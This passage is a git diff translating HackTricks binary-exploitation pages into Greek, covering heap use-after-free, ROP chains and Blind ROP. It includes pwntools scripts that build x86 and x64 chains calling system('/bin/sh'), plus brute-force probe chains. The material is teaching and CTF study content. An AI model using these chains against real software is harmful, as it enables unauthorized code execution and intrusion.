απελευθερώνετε το `a` και ζητάτε ξανά 250 bytes (`c`). +- Όταν απελευθερώνετε το `a`, πηγαίνει στο unsorted bin. +- Αν ζητήσετε ξανά 250 bytes, ο αλγόριθμος αναθέσεων βρίσκει το `a` στην ουρά και το χωρίζει, επιστρέφοντας το μέρος που ταιριάζει με το αίτημά σας και κρατώντας το υπόλοιπο στο bin. +- Το `c` θα δείχνει στο προηγούμενο `a` και θα είναι γεμάτο με τα `a's`. ```c char *a = malloc(300); char *b = malloc(250); free(a); char *c = malloc(250); ``` - ### Fastbins -Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. +Τα Fastbins χρησιμοποιούνται για μικρά κομμάτια μνήμης. Σε αντίθεση με τα unsorted bins, τα fastbins προσθέτουν νέα κομμάτια στην κεφαλή, δημιουργώντας μια συμπεριφορά last-in-first-out (LIFO). Αν ζητήσετε ένα μικρό κομμάτι μνήμης, ο allocator θα αντλήσει από την κεφαλή του fastbin. -Example: - -- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`). -- When you free them in any order, the freed chunks are added to the fastbin's head. -- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin. +Παράδειγμα: +- Εσείς κατανέμετε τέσσερα κομμάτια των 20 bytes το καθένα (`a`, `b`, `c`, `d`). +- Όταν τα απελευθερώσετε με οποιαδήποτε σειρά, τα απελευθερωμένα κομμάτια προστίθενται στην κεφαλή του fastbin. +- Αν στη συνέχεια ζητήσετε ένα κομμάτι 20 bytes, ο allocator θα επιστρέψει το πιο πρόσφατα απελευθερωμένο κομμάτι από την κεφαλή του fastbin. ```c char *a = malloc(20); char *b = malloc(20); @@ -48,17 +45,16 @@ b = malloc(20); // c c = malloc(20); // b d = malloc(20); // a ``` - -## Other References & Examples +## Άλλες Αναφορές & Παραδείγματα - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** +- ARM64. Χρήση μετά την απελευθέρωση: Δημιουργήστε ένα αντικείμενο χρήστη, απελευθερώστε το, δημιουργήστε ένα αντικείμενο που θα πάρει το απελευθερωμένο κομμάτι και επιτρέψτε να γραφτεί σε αυτό, **επικαλύπτοντας τη θέση του user->password** από το προηγούμενο. Επαναχρησιμοποιήστε τον χρήστη για να **παρακάμψετε τον έλεγχο κωδικού πρόσβασης** - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note. - - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. +- Το πρόγραμμα επιτρέπει τη δημιουργία σημειώσεων. Μια σημείωση θα έχει τις πληροφορίες της σημείωσης σε μια malloc(8) (με έναν δείκτη σε μια συνάρτηση που θα μπορούσε να κληθεί) και έναν δείκτη σε άλλη malloc(\) με το περιεχόμενο της σημείωσης. +- Η επίθεση θα ήταν να δημιουργηθούν 2 σημειώσεις (note0 και note1) με μεγαλύτερο περιεχόμενο malloc από το μέγεθος των πληροφοριών της σημείωσης και στη συνέχεια να απελευθερωθούν ώστε να μπουν στο γρήγορο bin (ή tcache). +- Στη συνέχεια, δημιουργήστε μια άλλη σημείωση (note2) με μέγεθος περιεχομένου 8. Το περιεχόμενο θα είναι στη note1 καθώς το κομμάτι θα επαναχρησιμοποιηθεί, όπου θα μπορούσαμε να τροποποιήσουμε τον δείκτη συνάρτησης ώστε να δείχνει στη συνάρτηση win και στη συνέχεια να χρησιμοποιήσουμε την Χρήση-Μετά-Απελευθέρωση της note1 για να καλέσουμε τον νέο δείκτη συνάρτησης. - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. +- Είναι δυνατόν να δεσμεύσετε κάποια μνήμη, να γράψετε την επιθυμητή τιμή, να την απελευθερώσετε, να την επαναδεσμεύσετε και καθώς τα προηγούμενα δεδομένα είναι ακόμα εκεί, θα αντιμετωπιστούν σύμφωνα με τη νέα αναμενόμενη δομή στο κομμάτι, καθιστώντας δυνατή την ρύθμιση της τιμής για να αποκτήσετε τη σημαία. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. +- Σε αυτή την περίπτωση είναι απαραίτητο να γράψετε 4 μέσα σε ένα συγκεκριμένο κομμάτι το οποίο είναι το πρώτο που δεσμεύεται (ακόμα και μετά την αναγκαστική απελευθέρωση όλων τους). Σε κάθε νέο δεσμευμένο κομμάτι, ο αριθμός του αποθηκεύεται στον δείκτη του πίνακα. Στη συνέχεια, δεσμεύστε 4 κομμάτια (+ το αρχικά δεσμευμένο), το τελευταίο θα έχει 4 μέσα του, απελευθερώστε τα και αναγκάστε την επαναδέσμευση του πρώτου, το οποίο θα χρησιμοποιήσει το τελευταίο απελευθερωμένο κομμάτι που είναι αυτό με 4 μέσα του. diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 29e21bca5..269c1e5fd 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **Βασικές Πληροφορίες** -**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. +**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακάμψει μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών πράξεων. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP. -### How ROP Works +### Πώς Λειτουργεί το ROP -1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. -2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. -3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. +1. **Hijacking Ροής Ελέγχου**: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack. +2. **Αλυσίδωση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και αλυσόδεσε gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών. +3. **Εκτέλεση Payload**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets. -### Tools +### Εργαλεία -Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). +Συνήθως, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ή απευθείας από **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). -## ROP Chain in x86 Example +## ROP Chain σε Παράδειγμα x86 -### **x86 (32-bit) Calling conventions** +### **x86 (32-bit) Συμβάσεις Κλήσης** -- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** -- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. +- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς αριστερά.** +- **stdcall**: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack. -### **Finding Gadgets** +### **Εύρεση Gadgets** -First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: +Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι: -- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. -- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. -- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. -- Additionally, we have the address of the `system()` function available. +- `pop eax; ret`: Αυτό το gadget βγάζει την κορυφαία τιμή του stack στο καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`. +- `pop ebx; ret`: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή `EBX`, επιτρέποντας τον έλεγχο του `EBX`. +- `mov [ebx], eax; ret`: Μεταφέρει την τιμή στο `EAX` στη διεύθυνση μνήμης που υποδεικνύεται από το `EBX` και στη συνέχεια επιστρέφει. Αυτό συχνά ονομάζεται **write-what-where gadget**. +- Επιπλέον, έχουμε τη διεύθυνση της συνάρτησης `system()` διαθέσιμη. ### **ROP Chain** -Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: - -1. A `ret` instruction for alignment purposes (optional) -2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/)) -3. Placeholder for the return address from `system()` -4. `"/bin/sh"` string address (parameter for system function) +Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με: +1. Μια εντολή `ret` για σκοπούς ευθυγράμμισης (προαιρετική) +2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/)) +3. Θέση για τη διεύθυνση επιστροφής από το `system()` +4. Διεύθυνση της συμβολοσειράς `"/bin/sh"` (παράμετρος για τη συνάρτηση system) ```python from pwn import * @@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th # Construct the ROP chain rop_chain = [ - ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues - system_addr, # Address of system(). Execution will continue here after the ret gadget - 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. - bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() +ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues +system_addr, # Address of system(). Execution will continue here after the ret gadget +0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. +bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() ] # Flatten the rop_chain for use @@ -74,28 +73,26 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` - ## ROP Chain in x64 Example ### **x64 (64-bit) Calling conventions** -- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. -- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`. -- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`. +- Χρησιμοποιεί τη **System V AMD64 ABI** κλήση σε Unix-like συστήματα, όπου οι **πρώτες έξι ακέραιες ή δείκτες παράμετροι μεταφέρονται στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8` και `R9`**. Πρόσθετες παράμετροι μεταφέρονται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`. +- Η κλήση **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8` και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να μεταφέρονται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`. +- **Καταχωρητές**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`. #### **Finding Gadgets** -For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: +Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets: -- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. -- **ret**: A simple return, useful for stack alignment in some scenarios. +- **pop rdi; ret**: Αντλεί την κορυφαία τιμή της στοίβας στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**. +- **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση της στοίβας σε ορισμένα σενάρια. -And we know the address of the **system()** function. +Και γνωρίζουμε τη διεύθυνση της συνάρτησης **system()**. ### **ROP Chain** -Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**: - +Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί **pwntools** για να ρυθμίσει και να εκτελέσει μια ROP αλυσίδα με στόχο την εκτέλεση **system('/bin/sh')** σε **x64**: ```python from pwn import * @@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary # Construct the ROP chain rop_chain = [ - ret_gadget, # Alignment gadget, if needed - pop_rdi_gadget, # pop rdi; ret - bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() - system_addr # Address of system(). Execution will continue here. +ret_gadget, # Alignment gadget, if needed +pop_rdi_gadget, # pop rdi; ret +bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() +system_addr # Address of system(). Execution will continue here. ] # Flatten the rop_chain for use @@ -130,66 +127,65 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +Σε αυτό το παράδειγμα: -In this example: +- Χρησιμοποιούμε το **`pop rdi; ret`** gadget για να ορίσουμε το **`RDI`** στη διεύθυνση του **`"/bin/sh"`**. +- Πηδάμε απευθείας στη **`system()`** μετά την ρύθμιση του **`RDI`**, με τη διεύθυνση της **system()** στην αλυσίδα. +- Το **`ret_gadget`** χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, το οποίο είναι πιο συνηθισμένο σε **x64** για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων. -- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. -- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain. -- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions. +### Ευθυγράμμιση Στοίβας -### Stack Alignment +**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν από την κλήση της **system** στην ROP αλυσίδα σας. -**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. - -## x86 vs x64 main difference +## Κύρια διαφορά x86 vs x64 > [!TIP] -> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). +> Δεδομένου ότι **x64 χρησιμοποιεί καταχωρητές για τα πρώτα λίγα επιχειρήματα,** συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και η αλυσίδωση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική **x64** παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη εκμεταλλεύσεων, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP). -## ROP chain in ARM64 Example +## Παράδειγμα ROP αλυσίδας σε ARM64 -### **ARM64 Basics & Calling conventions** +### **Βασικά ARM64 & Συμβάσεις Κλήσης** -Check the following page for this information: +Ελέγξτε την παρακάτω σελίδα για αυτές τις πληροφορίες: {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protections Against ROP +## Προστασίες κατά του ROP -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain -- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων. +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθούν οι αποθηκευμένες canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα. +- **Έλλειψη Gadgets**: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας. -## ROP based techniques +## Τεχνικές βασισμένες σε ROP -Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: +Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένο στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX: -- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. +- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`. {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. +- **Ret2Syscall**: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε μια syscall, π.χ. `execve`, και να την εκτελέσει αυθαίρετες εντολές. {{#ref}} rop-syscall-execv/ {{#endref}} -- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). +- **EBP2Ret & EBP Chaining**: Το πρώτο θα εκμεταλλευτεί το EBP αντί του EIP για να ελέγξει τη ροή και το δεύτερο είναι παρόμοιο με το Ret2lib αλλά σε αυτή την περίπτωση η ροή ελέγχεται κυρίως με διευθύνσεις EBP (αν και είναι επίσης απαραίτητο να ελέγχεται το EIP). {{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}} -## Other Examples & References +## Άλλα Παραδείγματα & Αναφορές - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag +- 64 bit, Pie και nx ενεργοποιημένα, χωρίς canary, επαναγραφή RIP με μια διεύθυνση `vsyscall` με τον μοναδικό σκοπό να επιστρέψει στη διεύθυνση που ακολουθεί στη στοίβα, η οποία θα είναι μια μερική επαναγραφή της διεύθυνσης για να αποκτήσει το μέρος της συνάρτησης που διαρρέει τη σημαία. - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, χωρίς ASLR, ROP gadget για να κάνει τη στοίβα εκτελέσιμη και να πηδήξει σε shellcode στη στοίβα. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 94d93bd6f..757a6c81f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -4,113 +4,113 @@ ## Basic Information -The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ -This attack is based on the following scenario: +Ο στόχος αυτής της επίθεσης είναι να μπορέσουμε να **καταχραστούμε ένα ROP μέσω μιας υπερχείλισης buffer χωρίς καμία πληροφορία για το ευάλωτο δυαδικό**.\ +Αυτή η επίθεση βασίζεται στο εξής σενάριο: -- A stack vulnerability and knowledge of how to trigger it. -- A server application that restarts after a crash. +- Μια ευπάθεια στο stack και γνώση του πώς να την ενεργοποιήσουμε. +- Μια εφαρμογή server που επανεκκινείται μετά από μια κατάρρευση. ## Attack -### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected +### **1. Βρείτε την ευάλωτη απόσταση** στέλνοντας ένα ακόμη χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του server -### **2. Brute-force canary** to leak it +### **2. Brute-force canary** για να το διαρρεύσετε -### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them +### **3. Brute-force αποθηκευμένες διευθύνσεις RBP και RIP** στο stack για να τις διαρρεύσετε -You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). +Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις διαδικασίες [εδώ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) και [εδώ (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). -### **4. Find the stop gadget** +### **4. Βρείτε το gadget STOP** -This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed +Αυτό το gadget επιτρέπει βασικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το ROP gadget επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και είναι τοποθετημένο στο τέλος της αλυσίδας ROP όταν αναζητάμε ROP gadgets για να επιβεβαιώσουμε ότι εκτελέστηκε ένα συγκεκριμένο ROP gadget. -### **5. Find BROP gadget** +### **5. Βρείτε το gadget BROP** -This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: +Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό συμβαίνει επειδή αν αποκτήσετε πρόσβαση σε αυτό το gadget στη μέση κάποιων εντολών, αποκτάτε gadgets για να ελέγξετε **`rsi`** και **`rdi`**:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-These would be the gadgets: +Αυτά θα είναι τα gadgets: - `pop rsi; pop r15; ret` - `pop rdi; ret` -Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. +Παρατηρήστε πώς με αυτά τα gadgets είναι δυνατό να **ελέγξετε 2 παραμέτρους** μιας συνάρτησης για να καλέσετε. -Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: +Επίσης, παρατηρήστε ότι το ret2csu gadget έχει μια **πολύ μοναδική υπογραφή** επειδή θα popάρει 6 καταχωρητές από το stack. Έτσι, στέλνοντας μια αλυσίδα όπως: `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` -If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. +Αν το **STOP εκτελείται**, αυτό σημαίνει βασικά ότι χρησιμοποιήθηκε μια **διεύθυνση που popάρει 6 καταχωρητές** από το stack. Ή ότι η διεύθυνση που χρησιμοποιήθηκε ήταν επίσης μια διεύθυνση STOP. -In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: +Για να **αφαιρεθεί αυτή η τελευταία επιλογή**, εκτελείται μια νέα αλυσίδα όπως η παρακάτω και δεν πρέπει να εκτελεί το gadget STOP για να επιβεβαιώσει ότι η προηγούμενη εκτέλεσε pop 6 καταχωρητές: `'A' * offset + canary + rbp + ADDR` -Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. +Γνωρίζοντας τη διεύθυνση του ret2csu gadget, είναι δυνατό να **συμπεράνουμε τη διεύθυνση των gadgets για να ελέγξουμε `rsi` και `rdi`**. -### 6. Find PLT +### 6. Βρείτε το PLT -The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are 